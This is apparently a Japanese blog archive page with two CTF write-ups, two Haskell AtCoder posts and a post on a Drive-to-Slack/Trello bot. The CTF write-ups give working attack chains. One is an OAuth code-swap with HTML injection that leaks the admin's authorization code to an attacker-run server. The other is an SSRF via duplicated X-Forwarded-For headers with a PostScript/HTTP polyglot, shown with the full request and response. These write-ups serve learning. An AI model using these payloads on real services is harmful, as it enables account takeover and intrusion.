SECCON Beginners CTF 2023 writeup (oooauth)

SECCON Beginners CTF 2023 にチーム TSG として参加しました。web/hard 問題の oooauth をふぁぼんさんと協力して解いたのですが、作問者さんの想定解とちょっとだけ違ったのでその点について書きます。

ふぁぼんさんの writeup はこちら:

yuyusuki.hatenablog.com

問題の概要

OAuth2 のサーバーとクライアントが与えられます。admin というユーザーの権限を用いて GET <client>/flag のレスポンスを得ることが目標です。

攻撃の概要

攻撃の大まかな流れは作問者さんの想定解とほぼ同一です。ここでは端的な説明に留め、詳細は作問者の yuasa さんによる writeup にお譲りします。

  1. <server>/auth?response_type=code&client_id=oauth-client&scopes=${encodeURIComponent('<img\tsrc="自分のサーバー">')}&redirect_uri=${encodeURIComponent('<client>/callback?error=a')} を手元で開き、guest の未使用認可コードを入手する
    • ここで scope に仕込んだ <img\tsrc="自分のサーバー"> が、のちに admin の開く画面にインジェクションされる
  2. report 機能を用いて、admin crawler に <server>/auth?response_type=code&client_id=oauth-client&scopes=hoge&redirect_uri=${encodeURIComponent('<client>/callback?code=さっき手に入れたguestの認可コード&'+Array(999).fill('=1').join('&'))} を開いてもらう
    • コールバック画面にインジェクションされた <img\tsrc="自分のサーバー"> によって、admin crawler は自分のサーバーへリクエストを送信し、その Referer ヘッダーには admin の認可コードが記載されている
  3. <client>/callback?code=リークしたadminの認可コード を手元で開く
  4. admin としてログインできたので <client>/flag を開くと flag が手に入る

yuasa さんの解法と異なるのは、2. で与えた redirect_uri です。

このパラメータを細工する目的は yuasa さんの解法と同一です。認可コードは一度使用すると無効化されてしまうため、admin crawler がページを開いた段階で admin の認可コードが消費されてしまうのを妨害する必要があります。そのために、admin crawler がページを開いたときに消費する認可コードとして、admin の認可コードではなく攻撃者が redirect_uri に仕込んだ guest の認可コードが選ばれるようにすることを考えます。ただし redirect_uri を単純に <client>/callback?code=GUEST_CODE のようにすると、admin crawler が開くコールバックページは <client>/callback?code=GUEST_CODE&code=ADMIN_CODE となり、token endpoint が code の末尾要素を選ぶ実装になっているために admin の認可コードが消費されてしまいます。そこで、クエリパラメータのパーサーの挙動を利用してこの状況を回避します。ここまでは yuasa さんの解法と同一です。

3 つのパーサーの挙動の違いを利用した認可コードのすり替え

私が使用したクエリパラメータは ?code=GUEST_CODE&=1&=1&...&=1 という形式となっています。これは、express がクエリパラメータのパースに用いる qs ライブラリが、デフォルトで 1001 個目以降のパラメータを無視する仕様を利用したペイロードです。admin crawler が開くコールバックページの URL は <client>/callback?code=GUEST_CODE&=1&=1&...&=1&code=ADMIN_CODE となりますが、大量のダミーパラメータを足したことにより、末尾の code=ADMIN_CODE が無視されてクエリパラメータのパース結果は { "code": "GUEST_CODE" } となります。これにより、admin の認可コードを消費させずに代わりに guest の認可コードを消費させることができます。

ダミーパラメータ &=1 はパラメータ名が空文字列となっていますが、これには意図があります。代わりに &a=1 をダミーパラメータとして使うと、nginx で upstream sent too big header while reading response header from upstream というエラーが発生し、502 Bad Gateway レスポンスが返ります。これは、<server>/approve が返す 302 Found レスポンスの Location ヘッダー <client>/callback?code=GUEST_CODE&a=1...&a=1&code=ADMIN_CODE が長すぎて、nginx の proxy_buffer_size (デフォルトで 4k) を超えてしまうためです。Location ヘッダーを含めたレスポンスヘッダーを 4000 バイトにおさめるには、ダミーパラメータ 1 つあたり3文字以内にする必要があります。

3文字以内に収めるために本解法ではパラメータ名を空にして &=1 を利用しましたが、逆にパラメータ値を空にした &a=ペイロードに使うと、今度は <server>/token で PayloadTooLargeError: too many parameters というエラーが発生します。

ここで起きている事象を説明します。「1001 個目以降のパラメータを無視する」という qs の仕様により &code=ADMIN_TOKEN を無視することはできたのですが、<client>/callback<server>/token にリクエストする際に、クエリパラメータに &grant_type=authorization_code&redirect_uri=<client>%2Fcallback を追加します。従って <server>/token に送信されるリクエストボディは code=GUEST_TOKEN&a%5B%5D=&...&a%5B%5D=&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となり、パラメータ数は 1002 です。ちなみに server はリクエストボディをパースするのに bodyParser.urlencoded({ extended: true }) を用いています。これは内部的に qs を利用しているのですが、qs を呼び出す前にパラメータ数が多すぎないかどうかを検証しています。具体的には、リクエストボディに出現する & を数え、1000 を超える場合には例外を投げます。先程の PayloadTooLargeError: too many parameters エラーはこれが原因です。

    // body-parser/lib/types/urlencoded.js#L147-L154
    var paramCount = parameterCount(body, parameterLimit)

    if (paramCount === undefined) {
      debug('too many parameters')
      throw createError(413, 'too many parameters', {
        type: 'parameters.too.many'
      })
    }

Satoooon さんの writeup では、redirect_uri 中のクエリパラメータにあらかじめ grant_type 及び redirect_uri パラメータを入れておくことにより、前述したパラメータ数の増加を防いでいます。なるほど確かに 😇

話を戻すと、本解法で用いた &=1 は、この制約を突破することができます。これについて、callback のクエリパラメータが処理される過程に沿って説明します。

まず <server>/approve において、攻撃者が与えた redirect_urinew URL を用いてパースされます。クエリパラメータのパースには組み込みの URLSearchParams が用いられます。?code=GUEST_CODE&=1&=1&...&=1 をパースした結果は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ... } となります。これに対し server は admin の認可コードを .append し、redirectUrl.searchParamsURLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ..., 'code' => 'ADMIN_CODE' } となります。その結果、admin crawler は <client>/callback?code=GUEST_CODE&=1&...&=1&code=ADMIN_CODE にリダイレクトされます。

次に <client>/callback の処理を考えます。client は qs ライブラリを用いてクエリパラメータをパースし、params 変数に格納します。これはリクエストボディではなく URL 中のクエリパラメータなので、パースに用いられるのは前述の body-parser ではなく、express/lib/middleware/query.js です。このミドルウェアは body-parser と違いパラメータの個数チェックをせず、そのまま qs ライブラリを呼び出します。そのため、<client>/callback では too many parameters エラーが発生しません。

話を戻すと、params 変数に格納されたパース結果は { "code": "GUEST_CODE" } となります。1001 個目以降のパラメータを無視する qs の仕様により、末尾の code=ADMIN_CODE が無視されます。また、qs はパラメータ名が空文字列になっているものを無視するので、ダミーパラメータ &=1 も無視されます。この paramsgrant_typeredirect_uri を追加した結果、 <server>/token に送信されるリクエストボディは code=GUEST_CODE&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となります。このパラメータ数は 3 なので、<server>/token では too many parameters エラーが発生せず、guest の認可コードを消費させることができます。

ちなみに、ダミーパラメータとして &=&=&=... を使うことも可能です。一方で、&&&... では攻撃が成立しませんでした。&&&... のような空のパラメータは URLSearchParams に無視されてしまうため、<server>/approve でリダイレクト先を生成する時点でダミーパラメータが除去されてしまい、<client>/callback?code=GUEST_CODE&code=ADMIN_CODE にリダイレクトされてしまうのです。

というわけで、3 種類のクエリパラメータパーサー (URLSearchParams, express/lib/middleware/query.js , body-parser) の挙動の差異を利用することで、admin の認可コードの代わりに guest の認可コードを消費させることができました。

おわりに

非常に面白い問題でした。個々の脆弱性単体ではフラグを取れそうにないのにも関わらず、うまく組み合わせると見事に解けるところが美しいと思っています。

  • CSRF 対策がないけど、crawler に guest としてログインさせたところで何ができる?
  • HTML エスケープしてないけど、CSP のせいで XSS できない
  • Referer から認可コードを取得できたけど、リクエストが来た時点で認可コードが使用済み
  • コールバック画面をエラーにすれば認可コードが消費されないが、エラー画面では HTML injection もできない

こんな感じだったのでずっとウンウン唸っていたのですが、なんとか解けてよかったです。

また、想定解 code[2]=guest-code&code=hoge&code=admin-code を見てびっくりしました。 code[2]=guest-code&code[0]=hoge&code=admin-code とかは試したんですが…。qs ソースコード読み力が足りていませんでした 😔

ちなみに、server で access_tokens 変数が Map 型なのに access_tokens[access_token_value] のようにプロパティアクセスをしているとか、client/views/index.ejs が使っている jQuery と Bootstrap のバージョンがかなり古くて既知の脆弱性が色々あるとかも気になったんですが、うまく攻撃に繋げられませんでした。他の方の writeup を楽しみにしています。

Ricerca CTF 2023 writeup (ps converter)

Ricerca CTF 2023 にチーム TSG として参加しました。全チーム中 10 位で、また賞金獲得条件を満たす国内の学生チーム1の中では 1 位となりました。

私は主に Web の問題を解いていました。そのうち ps converter の writeup を書いていきます。

ps converter

概要

backend の handleRoot は、X-Forwarded-For ヘッダーの末尾の IP アドレス2TCP 接続して script を送信します。実は handleRoot が読み取る X-Forwarded-For ヘッダーを自由に変えることができるので、SSRF ができます。そこでこの値を 123.45.67.102 (backend) にすると、handleRoot は本来 frontend:3000 にある ps2pdf daemon に対して script を送信するはずが、backend:3000 に送信してしまいます。

http://backend:3000/admin に (一定の条件のもとで) フラグを返すエンドポイントがあるので、 SSRF で送信される script/admin への HTTP リクエストとすることで、フラグが得られます。ただし handleRootscript を ps2pdf daemon に送信する前に、file コマンドと ps2ps コマンドを用いて、script が PostScript ファイルであることを検証します。従って、script を PostScript と HTTP リクエストの polyglot にする必要があります。

X-Forwarded-For ヘッダーの偽装

特に細工をせず http://frontend:5000/converter にリクエストすると、proxy が X-Forwarded-For: 123.45.67.100 というヘッダーを付与するため、script123.45.67.100 (frontend) に送信されます。

クライアントからのリクエストに X-Forwarded-For: XXXXXXXX をつけておくと、proxy はその末尾に frontend の IP アドレスを追記します。従って backend が受け取る HTTP リクエストでは X-Forwarded-For: XXXXXXXX, 123.45.67.100 となっており、SSRF の送信先となる末尾の IP アドレスは相変わらず 123.45.67.100 です。

実は、クライアントからのリクエストに X-Forwarded-For ヘッダーを複数つけておくと、backend の handleRootreq.Header.Get("X-Forwarded-For") した結果は 1 個目の X-Forwarded-For ヘッダーとなり、proxy による追記を受けません。これによって、backend が読み取る X-Forwarded-For ヘッダーを任意の値にすることができます。

この原理を説明します。

クライアントは X-Forwarded-For ヘッダーを 2 つつけたリクエストを送信します:

X-Forwarded-For: XXXXXXXX
X-Forwarded-For: YYYYYYYY

すると、proxy は 2 つ目の X-Forwarded-For ヘッダーに frontend の IP アドレスを追記します:

X-Forwarded-For: XXXXXXXX
X-Forwarded-For: YYYYYYYY, 123.45.67.100

(同名のヘッダーが複数ある場合、そのヘッダーの combined field value は個々の header value を上から順にカンマで join したリストです (RFC 9110)。したがって、リストの末尾に追記する意図で proxy が一番下の X-Forwarded-For ヘッダーの末尾に IP アドレスを追記する、という挙動はまっとうなものです。)

backend の handleRootreq.Header.Get("X-Forwarded-For") というコードで X-Forwarded-For ヘッダーの値を取得しますが、req.Header.Get は重複するヘッダーが複数ある場合に先頭の値、今回の場合は "XXXXXXXX" を返します。従って XXXXXXXX を適当に差し替えることで、handleRoot が読み取る X-Forwarded-For ヘッダーを任意の値にすることができます。

余談: ボツ方針

ちなみに、X-Forwarded-For ヘッダーが 1 個もない HTTP リクエストを backend に届けることができれば、それでも backend への SSRF ができます。

X-Forwarded-For ヘッダーをどうにか除去できないかと proxy 周りを眺めたのですが、結局除去方法が思いつかなかったのでこの方針は使いませんでした。

X-Forwarded-For ヘッダーを除去できた仮定のもとで、backend にリクエストが飛ぶ原理は次の通りです。

handleRoot でリクエストを処理する際、X-Forwarded-For ヘッダーがないのでx_forwarded_for := req.Header.Get("X-Forwarded-For") はゼロ値 "" となります。

すると、 ips := strings.Split(x_forwarded_for, ", ")[]string{""} となります。Go のドキュメントによれば、strings.Split を使って空文字列を split すると、結果は空のスライスではなく[]string{""} となるようです。個人的には、空のスライスを期待するのですが。

If s does not contain sep and sep is not empty, Split returns a slice of length 1 whose only element is s.
https://pkg.go.dev/strings#Split

従って、ps2pdf := ips[len(ips)-1]"" となります (strings.Split の謎仕様のおかげで index out of range が発生せずに済みます)。

すると tcp_addr, err := net.ResolveTCPAddr("tcp", ps2pdf+":3000")":3000" のパース結果、つまり &net.TCPAddr{IP:net.IP(nil), Port:3000, Zone:""} となります。

このアドレスに DialTCP するとローカルに飛んでくるので、backend から backend への TCP 通信となります。

If the IP field of raddr is nil or an unspecified IP address, the local system is assumed.
https://pkg.go.dev/net#DialTCP

PostScript と HTTP の polyglot

作成した script はこちらです。

%! /admin HTTP/1.1
%a:a
 (
Host: backend:3000
Client-Ip: 127.0.0.1
a: )

要件

SSRF を利用してフラグを得るために、script が以下の要件を満たすようにします。

  • file コマンドの実行結果に PostScript document text が含まれるようにする
  • ps2ps コマンドに与えてもエラーを起こさない
  • /admin への HTTP リクエストとして解釈でき、Client-Ip: 127.0.0.1 ヘッダーを持つ

Polyglot を組み立てる

どのようにして上記の polyglot を構成したのかを、順を追って説明します。

まず file コマンドに PostScript document text を出させる方法を調べました。file コマンドのソースコードを雑に grep すると、magic/Magdir/printer がヒットします。これはファイル種別を認識するための magic number が記載されているファイルで、ファイルの記法は man magic にて説明されています。

8 行目の記述から、ファイルの先頭が %! であれば PostScript document text と認識されることがわかります。

0    string      %!      PostScript document text

このファイルを読み進めると、他にも \004%! で始まるファイルや \033%-12345X@PJL で始まり途中に %! があるファイルでもよいことがわかりますが、制御文字が入ると余計しんどくなりそうなので %! でファイルを始めることにします。

今度は HTTP の視点で見てみます。%! で HTTP リクエストを開始しなければならないので面食らいますが、実は RFC 9110, RFC 9112 を読むと、メソッドには結構色々な記号を使えることがわかります。

method         = token
token          = 1*tchar

tchar          = "!" / "#" / "$" / "%" / "&" / "'" / "*"
               / "+" / "-" / "." / "^" / "_" / "`" / "|" / "~"
               / DIGIT / ALPHA               

というわけで、実は %! は HTTP メソッドになることができます。handleAdmin にはメソッドをチェックしている箇所がないので、%! メソッドでリクエストができるはずです。では、/admin への %! メソッドリクエストを書いてみます。ただしフラグを得るために Client-Ip: 127.0.0.1 ヘッダーが必要なので、それもつけておきます。

%! /admin HTTP/1.1
Host: backend:3000
Client-Ip: 127.0.0.1

さて、これをどうにか PostScript として解釈できるようにしましょう。ちなみにこの問題を解くまで PostScript を書いたことはなく、資料を見ながら色々試行錯誤しました。

PostScript におけるコメントは % から行末までです。従って、1 行目はコメントとして無視されます。複数行コメントの記法はないようですが、文字列リテラル (...) は複数行にまたがることができます。従って、次のように残り部分を丸括弧で囲えば ps2ps チェックに成功します。

%! /admin HTTP/1.1
(
Host: backend:3000
Client-Ip: 127.0.0.1
)

ですが、このままでは HTTP リクエストの構文を満たしません。閉じ括弧の方は適当に Foo: ) としてやれば良いのですが、開き括弧が厄介です。RFC 9110 において、ヘッダー名は次のように定義されています。

field-name     = token

前掲した token の定義と合わせると、開き括弧が field-name に出現することはできないとわかります。そこで Foo: ( のように括弧を field-value の中に書いてやれば HTTP の構文を満たすのですが、今度は ps2ps チェックに引っかかるようになります。いま、未完成の polyglot は次のようになっています。

%! /admin HTTP/1.1
Foo: (
Host: backend:3000
Client-Ip: 127.0.0.1
Foo: )

これを PostScript として解釈すると Foo: (文字列) というコードになっていますが、Foo: という識別子が定義されていないのでエラーが発生します。識別子を定義するには /Foo: 0 def などと書いておけば良いのですが、今度は HTTP リクエストの構文を満たさなくなります。field-name には / が出現することもできないので、field-name を用意して /field-value に追いやる必要があります。ですがそもそも Foo: を定義したくなったのは (field-name に出現できないから field-value に追いやりたい、というものでした。これでは堂々巡りです。

PostScript で定義済みの識別子を使って field-name を構成できれば良さそうな気もしますが、これもうまくいきません。HTTP ヘッダーとしては field-name の直後に : を書く必要があるのですが、PostScript において : はアルファベットと同様に識別子に使うことができる普通の文字なので、field-name: 全体が一つの識別子としてパースされます。PostScript の定義済みの識別子の中にコロンを含むものはおそらくないでしょう。

%field-name に含めることができるので、 newpath%: のようにしてコロンを無視することはできます。しかしそうすると field-value 部分もコメントアウトされてしまうので、肝心の ( を導入することができません。

PostScript における特殊文字()<>[]{}/% なのですが、このうち field-name に出現できるのは % のみです。頼みの綱の % ですが、PostScript のコメントも HTTP のヘッダーも行単位で解釈されるので、まさに「あちらを立てればこちらが立たず」という状態でした。CR・LF の解釈で差を生んでくれないかとかも試しましたが、ダメでした。

突破口となったのは、HTTP の Obsolete Line Folding です。これは、スペースから始まる行が新しいヘッダーではなく前の行の field-value の続きであると解釈される仕様です。つまり、「PostScript におけるコメントを脱出するが、HTTP における field-value を脱出しない」ことができます。

そうして出来上がったのが冒頭のペイロードです。

%! /admin HTTP/1.1
%a:a
 (
Host: backend:3000
Client-Ip: 127.0.0.1
a: )

2行目は PostScript のコメントであり、HTTP ヘッダー %a でもあります。3行目は PostScript における文字列リテラルの開始ですが、HTTP としては Obsolete Line Folding により 2 行目 の field-value の続きと解釈されます。その後は PostScript としては文字列リテラル、HTTP としてはヘッダーの羅列となっています。これで polyglot の完成です。

あとはこの scripthttp://frontend:5000/converter にアップロードするようなリクエストを投げればフラグが得られます。

Request:

POST /converter HTTP/1.1
Host: ps-converter.2023.ricercactf.com:51514
X-Forwarded-For: backend
X-Forwarded-For: 0.0.0.0
Content-Type: multipart/form-data; boundary=---------------------------386748468817694655632698534101
Content-Length: 314

-----------------------------386748468817694655632698534101
Content-Disposition: form-data; name="file"; filename="payload.ps"
Content-Type: application/postscript

%! /admin HTTP/1.1
%a:a
(
Host: backend:3000
Client-Ip: 127.0.0.1
a: )


-----------------------------386748468817694655632698534101--
          

Response:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 24 Apr 2023 08:28:12 GMT
Content-Type: application/pdf
Content-Length: 128
Connection: keep-alive
Age: 0

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Mon, 24 Apr 2023 08:28:12 GMT
Content-Length: 26

RicSec{0mg_It_d035nt_l00k_anyth1n9_f6b0c427d3e2}

本来は ps2pdf の結果をレスポンスボディとして返すエンドポイントなので、レスポンスボディが HTTP レスポンスになっている入れ子構造になっていますね。

別解

apolloteapot さんの writeup を読んだところ、なんと quit という命令を使うことで早々に PostScript の評価を終わらせることができたようです。

%!GET /admin HTTP/1.1
quit%: dummy
Host: backend
Client-Ip: 127.0.0.1

私も「quit 的な命令があればいけるかも」というのは思いついていたのですが、ググり力が足りず quit 命令の存在には気づけませんでした。exit とか試して「これじゃないな〜」とか言ってました。まあおかげで HTTP ヘッダーの仕様に詳しくなったのでよしとします。

余興

文字列リテラルで polyglot を作るとシンタックスハイライトしたときにあんまり美しくないと思ったので、文字列リテラルを使わないペイロードも考えてみました。

%! /admin HTTP/1.1
%a:a
 /Client-Ip: {} def
 /127.0.0.1 {} def
 /Host: {} def
 /backend:3000 {} def
Host: backend:3000
Client-Ip: 127.0.0.1

まあ、出てくる識別子を全部定義するだけです。Obsolete Line Folding が強すぎて割となんでも書けてしまいます。ところで 127.0.0.1 という名前のマクロを定義できるのはちょっとびっくりです。

おわりに

冒頭にも書きましたが、国内の学生チームの中で 1 位を取れたことを嬉しく思います。もちろんこれは私の力で達成したことではなく、他の問題を解いてくれたチームメイトのおかげです。

思い返すと、私が CTF を始めたきっかけは、私が大学 1 年のときに TSG が SECCON で優勝し、「CTF にめちゃくちゃ強いチームが私のすぐそばにあるのか。せっかくだから教えを請おう」と思ったことでした。大会や「1 位」の基準は違うものの、「TSG が CTF で 1 位をとる」という記録に今度はプレイヤーとして貢献できたのがとても感慨深いです。これがまた誰かの CTF を始めるきっかけになっていたとしたら、嬉しく思います。このような機会を用意してくださった運営や作問者のみなさま、ありがとうございました。

最後に宣伝で恐縮ですが、東大の学生で CTF に興味がある方はぜひ TSG に入部してください。S セメスターでは初心者向けの CTF 勉強会を予定しているので、今が始めどきです。お待ちしています。


  1. 私は現在修士 2 年です
  2. 実は IP アドレスでなくてもよく、ホスト名を指定するとよしなに名前解決される

AtCoder Beginners SelectionをHaskellで解く (2) ABC081A - Placing Marbles

AtCoder Beginners SelectionをHaskellで解く(1) ABC086A - Product - ねこも手を借りたい」の続編です。AtCoder Beginners Selections (ABS) をHaskellで解きます。 pizzacat83.hatenablog.com

普通に解くよりちょっと変なルール追加した方が楽しい気がしたので,コードの一部をポイントフリースタイルで書く,というルールを追加して解きます。詳しくは上の記事をご参照ください。

今回はABS 2問目の ABC081A - Placing Marbles を解きます。

解く

解きます。

f s = length $ filter ('1'==) s

main = do
  s <- getLine
  putStrLn $ show $ f s

文字列を [Char] とみてfilterをかけ,残った要素数を出力します。

余談ですがこの問題はifを3つ書く,ifを8つ書く,2進数と解釈してboolのリストに要素アクセスするなどいろいろな解法が考えられるので,ゴルフの問題としては面白そうだと思いました。

ポイントフリー化

変形していきます。

f s = length $ filter ('1'==) s
f s = length (filter ('1'==) s)
f s = length . (filter ('1'==)) s
f = length . filter ('1'==)

かなりシンプルなコードだったので,合成に書き換えるだけでできます。

atcoder.jp

つづく(といいな)

AtCoder Beginners SelectionをHaskellで解く(1) ABC086A - Product

最近なんとなく私は関数型言語が好きなのではないか!という根拠のない直感に従ってHaskellを始めました。始めると言ってもHaskellで作りたいものが特にあるというわけでもないので,AtCoder Beginners Selection (ABS) をとりあえず埋めてみようと思います。先に言っておくとABSをHaskellで埋めてる人は私以外にもたくさんいるので,もし参考にするものを探しているのであれば他のHaskell上級者さんのブログをあたった方がいいかもしれません。

追加ルール

で,まあ普通に埋めてもよかったんですが,ちょっと変なルール追加した方が面白い気がしたので,単にACするだけでなく,以下のルールを追加します。

  • 関数をポイントフリースタイルで定義する。

コードゴルフとかでもよかったんですが,ゴルフはもう少しHaskellに習熟してからやった方が楽しいと思うので今回はパスしました。

具体的にはこんな感じのルールです。他人と競ってるわけではないのでふわっとしています。私が合法だと思ったら合法なのだ。

  • main 関数では,入力をパースして変数に代入し,関数 f を適用した結果を出力する。
  • 入力を空白で区切る,数値型に変換するなど,入力文字列から適切なデータ構造への変換はしてよい。
  • f を適用した結果を文字列型に変換,なども main 関数内で行ってよい。
  • f はポイントフリースタイル,つまり仮引数を用いずに定義しなければならない。

要は計算の本質パートをポイントフリースタイルで書こう,という感じです。ふわふわ。今後解き進めていくにあたって私に都合よくルールが少しずつ変化していくと思われます。

解答

今回解く問題はABS 1問目の ABC086A - Productです。簡単に言うと与えられた整数A, Bの積の偶奇判定をします。

とりあえず出来上がったコードがこちらです。

import Data.Bool
 
f = (bool "Even" "Odd".).(odd.).(*)
 
main = do
  [a, b] <- (map read . words) <$> getLine
  putStrLn $ f a b

やりたいことの雰囲気が掴めたかと思います。

解く

とりあえず普通に解きます。

f a b = if odd (a * b) then "Odd" else "Even"

しょっぱなから大問題発生です。if-elseはどうやったらポイントフリーにできるのか。そもそもifは関数じゃないし………。そこで「haskell if point free」とかでググるbool というif-elseと等価な関数の存在を知ります。これを使うと,

f a b = bool "Even" "Odd" $ odd (a * b)

というなんとかなりそうな形になります。うるさいことを言うと, bool は非ポイントフリースタイルで実装されているので,これを使って f をポイントフリースタイルにするのはルール上どうなんだ,と思いましたがまあ誰かと競ってるわけじゃないのでこれは合法ということにしちゃいます。もう少しHaskell力が上がってこれをどうにかできるようになったら再挑戦してみるかもしれません。

ここからはゴリゴリ変形していきます。気合で仮引数を右へ右へと動かしていって関数合成の形になったらすかさず . 演算子,という感じでやるとできます。

f a b = bool "Even" "Odd" $ odd (a * b)
f a b = bool "Even" "Odd" $ odd ((a *) b)
f a b = bool "Even" "Odd" $ (odd.(a *)) b
f a b = bool "Even" "Odd" $ (odd.((*)a)) b
f a b = bool "Even" "Odd" $ ((odd.).(*))a b
f a b = (bool "Even" "Odd").(((odd.).(*))a)$ b
f a b = ((bool "Even" "Odd").)(((odd.).(*))a)$ b
f a b = (((bool "Even" "Odd").).((odd.).(*))) a  b
f = (((bool "Even" "Odd").).((odd.).(*)))
f = (bool "Even" "Odd".).(odd.).(*)

完成!🎉🎉🎉

途中で括弧が多くなってきて,どれがどれに対応するのかわからなくなってくるので,これだけのためにVSCodeの対応する括弧に色をつける拡張機能を入れました。

marketplace.visualstudio.com

関数合成は結合法則が成り立つので,最後は結構カッコが外れます。最後じゃなくて途中で外していってもよかったかもしれません。

元のコードを知っているというのもあるとは思いますが,これくらい簡単な処理であればポイントフリースタイルでも挙動を頭の中で追える気がします。

というわけで「AtCoder Beginners SelectionをHaskellで解く」第1回, ABC086A - Productでした。これは今後も続くのでしょうか。続けられるのでしょうか。まあいけるところまで頑張ります。ポイントフリースタイルがキツくなってきたら普通に解こうと思います。

つづく

pizzacat83.hatenablog.com

GASでGoogleドライブの更新をSlack通知・Trelloで管理

こんにちは。

以下の記事で紹介した,Googleドライブの更新をSlackに通知するbotのおはなしです。
pizzacat83.hatenablog.com

ソースコードはこちら。
github.com

概要

更新通知

特定のフォルダの子孫に更新があると,Slackにこんな感じの通知が来ます。(隠していますが,タイトル部分にはファイルのフルパスが表示されています。)
f:id:pizzacat83:20190302230608p:plain:w400

ファイル1つをattachment1つで表すため,100個以上のファイルが一気に更新されるとSlackの仕様で弾かれます。そもそも100行以上のメッセージが投稿されるとスクロールが大変です。Slackは「attachmentは20件までにしようね!」とドキュメントに書いているので,20件を超える場合はファイルとして投稿することによって折りたたみ表示されるようにします。プレーンテキストなのでSlackフリープランのストレージ制限はあまり気になりません。
f:id:pizzacat83:20190306204625p:plain:w400

Trello管理

生きていると時々ファイルが削除されることがあります。Googleドライブの共有設定で削除を禁止することはできないので,クラス共有フォルダ内で削除されるべきでないファイルが削除された場合,復元をする必要があります。消すやついないだろと思うかもしれませんが過去5回くらい消えました。ローカルのを消そうとして,とか。

復元するだけなら管理人(私)が雑に再アップロードすれば良いのですが,管理人はバカなので削除の通知が来ても「/* 後で対応する */」と言って結局忘却します。5回消えて3回忘却しました。ヒューマンエラーは環境の改善で解決されるべきです。

そこで,ファイル削除(復元ToDo)をTrelloで管理することにしました。SlackをTrelloと連携させた上で,ファイルが削除された際,ToDoリストにカードを追加します。 f:id:pizzacat83:20190306212637p:plain:w400

削除された日時の3日後が期限として設定されており,チェックリストには削除されたファイル一覧が表示されます(ただし数が多い場合はチェックリストではなく削除アイテム一覧のテキストファイルへのリンクが添付されます)。
f:id:pizzacat83:20190306210128p:plain

botがSlackにカードへのリンクを投稿し,Trello botが展開してくれます。これによってSlackからの操作が容易になります。
f:id:pizzacat83:20190306210422p:plain

それでも管理人は忘れそうなので,期限を過ぎてToDoに残っているカードはbotが自動で復元します。また,期限は過ぎていないが面倒なので自動修復してほしい場合は,Autofixというボードに移動しておくと自動復元してくれます。

自動復元しなくて良い場合はDoneリストにカードを移動すればよく,「今週中に修正版をアップロードするため消した」のような場合はカードの期限を週末に変更するだけで済みます。以上の操作は全てSlack上から/trelloコマンドで実行できます。

ボードの全体図はこんな感じです。

f:id:pizzacat83:20190330010335p:plain

うちのクラスの管理人は私だけで,Trelloのアカウントを持っている人も少ないので今のところこのボードは私しか使っていませんが,管理人が複数いる場合は担当者にassignすることもできますし,削除してしまった人にメンションしてカードのコメント欄で対応を協議することもできるでしょう。

実装

フォルダ下の更新情報を得る

Drive Activity API

かつては全てのファイルの最終更新日時を再帰的に調べていたんですが,ファイル総数が2000近くあって実行制限の6分以内に終わらなくなりました。Drive Activity APIを用いれば,そんなことしなくても一瞬で更新履歴を取得できます。しかも更新された時刻だけでなく,追加・移動・編集・共有設定変更など更新の詳細も取得できます。エウレカ

ある時刻からの全ての更新履歴を得るコードはこんな感じです。

ルートフォルダのIDを指定する際,クエリのancestorNameに指定する値は類とフォルダのIDにitems/を前置したものであることに注意してください。更新履歴が多い場合はnextPageTokenという値がもらえるので,それを用いてもう一度リクエストすると続きを見ることができます。また,consolidationStrategy{legacy: {}}にすると,同じユーザによる同時期の複数ファイルの追加などを1つにグルーピングしてくれます。

これで得た更新履歴を雑に整形してSlackに投げます。グルーピングされたまとまりの中には個々のActionが入っていて,それをattachmentにする衝動に駆られますが,例えば「ファイル1つを追加」という大きなまとまりの中にはファイル追加・移動・共有権限設定などのActionが含まれていて,それらをいちいち別個のattachmentにするのはあまり好ましくありません。そこで個々のActionは無視して,マクロ的な変更の内容,変更されたファイル一覧,変更したユーザ一覧,変更日時を見ることにします。

変更されたファイルについて,APIはファイルのIDと名前を教えてくれますが,フルパスはわかりません。ファイル名だけでは大抵何のファイルかわからないので,フルパスを取得します。

フルパス取得

そもそもGoogleドライブのファイルシステムは木ではありません。フォルダは複数の子を持つことができ,複数の親をもつことができます。よって,フルパスという概念はありません。

そこで,ファイルの親を再帰的に辿っていき,クラス共有フォルダにたどり着いたルートをフルパスとみなすことにします。ルートは複数あるかもしれませんがそれは気にしません。最短ルートであるかどうかもどうでもいいので雑にDFSします。あるフォルダからルートフォルダへの経路が既知である場合はそれを流用できるので,pathsというMapに記憶させます。

ちなみにMapはGASに実装されていないので,babelしましょう。

ユーザ名取得

Drive Activity APIは変更をしたユーザの情報も教えてくれるのですが,people/1234567890みたいなIDしか教えてくれないので誰のことだかさっぱりです。そこでPeople APIを使います。このgetメソッドを呼ぶと,ユーザの表示名を取得することができます(undefinedの場合もあります)。

undefined結構多いので,対応表を自分で用意したほうが早いかもしれませんね。うちのクラスメイトは全員クラスGoogleグループに登録されていて,それを利用して名前やメールアドレス(→Slackアカウントと紐付け)とか取得できないかなあと思ったんですが,現在@groups.google.comのメンバーを取得できるAPIはないそうです。悲しい。

フォルダを無視する

クラス共有フォルダには1時間ごとに更新されるログとかも入っていて,その更新通知が来ても困ります。無視したいフォルダを登録しておき,あるファイルの親フォルダが全て無視対象である場合に無視する,というルールで更新情報を無視します。

Trello連携

全般

Trello APIはドキュメント通りにリクエストを投げるだけですが,適当にラップします。

カード作成

Card作成→(Checklist追加→Checklistの中身を追加)or URLを添付→SlackにCardのurlを投稿
という流れになります。一つ一つリクエストを投げれば良いです。

自動復元の際にカードと削除されたファイルのID一覧との対応関係がわかるように,スクリプトのプロパティに登録します。

自動復元

カード作成時に記憶しておいたファイルのID一覧を取得して,各IDについて復元を実行します。具体的には,ファイルのコピーを作成し,元のファイルの親フォルダ全てにコピーを追加します。

フォルダの復元はGoogleドライブのファイルシステムがややこしくて,うまくやる方法がまだ思いついていないので,未実装です。助けてください

あとがき

実行時間が6分を超える旧仕様と比べた高速化を目指して大幅改修をしたわけですが,改修後も変更が多いと実行に30秒とかかかっていて,もう少し高速化したいです。高速化できそうな箇所はいくつかあるので,ぼちぼちやっていきます。

Slackで$…$や$$…$$を数式にするSlash Command

どうもぴざきゃっとです。

